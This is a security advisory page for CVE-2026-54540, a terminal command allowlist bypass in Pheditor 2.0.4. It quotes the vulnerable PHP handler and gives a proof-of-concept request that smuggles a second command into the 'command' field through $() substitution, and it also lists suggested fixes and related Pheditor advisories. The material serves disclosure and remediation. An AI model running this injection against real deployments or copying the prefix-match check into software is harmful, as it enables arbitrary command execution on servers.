CVE-2026-54540: Pheditor has an authenticated terminal command whitelist bypass
Summary Pheditor 2.0.4 has an authenticated terminal command whitelist bypass. The terminal feature checks whether the submitted command starts with one of the configured TERMINALCOMMANDS values, then passes the full command string to shellexec().
Published Jul 16, 2026
Affected packages
pheditor/pheditor
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.0.4
- Fixed in
- 2.0.5
- Check
composer show pheditor/pheditor
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Pheditor 2.0.4 has an authenticated terminal command whitelist bypass.
The terminal feature checks whether the submitted command starts with one of the configured TERMINAL_COMMANDS values, then passes the full command string to shell_exec(). Shell command substitution such as $() is not blocked, so an authenticated user with the terminal permission can bypass a restricted command allowlist and execute arbitrary shell commands as the web server user.
Details
Tested repository:
https://github.com/pheditor/pheditor
Tested commit:
62b43df7cb8956a9b0deb9bec278ca8676c890c5
Affected version:
Pheditor 2.0.4
Relevant code in pheditor.php:
- The terminal handler receives
$_POST['command']and stores it in$command. - It blocks only
&,;, and||. - It checks whether
$commandstarts with one of the configured values inTERMINAL_COMMANDS. - It then passes the full command string to
shell_exec().
Relevant logic:
$command = $_POST['command'];
if (strpos($command, '&') !== false || strpos($command, ';') !== false || strpos($command, '||') !== false) {
echo json_error("Illegal character(s) in command (& ; ||)\n");
exit;
}
foreach ($terminal_commands as $value) {
$value = trim($value);
if (strlen($command) >= strlen($value) && substr($command, 0, strlen($value)) == $value) {
$command_found = true;
break;
}
}
$output = shell_exec((empty($dir) ? null : 'cd ' . escapeshellarg($dir) . ' && ') . $command . ' && echo \ ; pwd');Because the whitelist check is prefix-based and the full command is executed by a shell, a command such as ls$(...) passes when ls is allowed, while the command substitution is still executed by the shell.
PoC
This was reproduced locally with Docker and PHP 8.3.
For a strict test, the configured command allowlist was changed to only allow ls:
define('TERMINAL_COMMANDS', 'ls');Control request:
command=whoamiObserved result:
Command not allowed
Available commands:
lsBypass request:
command=ls$(printf pheditor-terminal-bypass >/lab/app/site/proof.txt)Observed result:
proof.txt is created with the content:
pheditor-terminal-bypassThis shows that even when only ls is allowed, arbitrary shell commands can still be executed through command substitution.
Impact
An authenticated user with the terminal permission can bypass the intended TERMINAL_COMMANDS restriction and execute arbitrary shell commands as the web server user.
This affects deployments where administrators rely on TERMINAL_COMMANDS to restrict terminal access to a small set of safe commands.
Suggested fixes:
- Avoid passing user-controlled command strings to
shell_exec(). - Parse the command into executable and arguments.
- Require an exact command name match instead of prefix matching.
- Execute without a shell, for example with an argument-array based process API.
- If shell execution remains necessary, reject shell metacharacters comprehensively, including command substitution syntax.
- Consider disabling the terminal feature by default.
Reporter credit requested:
shanjijian
Credited to shanjijian.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesGHSA-f25v-x6vr-962g
Pheditor: Authentication Bypass in Forced Password-Change Flow via Unverified Current Password
critical10.0Jul 24, 2026GHSA-g3hq-hphg-8fhh
Pheditor: Terminal command-allowlist bypass via argument injection leads to RCE — surviving vector after the metacharacter-sanitization fixes
high8.8Jul 24, 2026CVE-2026-55578
Pheditor: Incomplete command sanitization in terminal feature allows RCE via pipe operator, backtick substitution, and newline injection
high8.8Jul 16, 2026CVE-2026-55579
Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise
critical9.8Jul 16, 2026CVE-2026-48030
Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter
critical9.9Jun 9, 2026
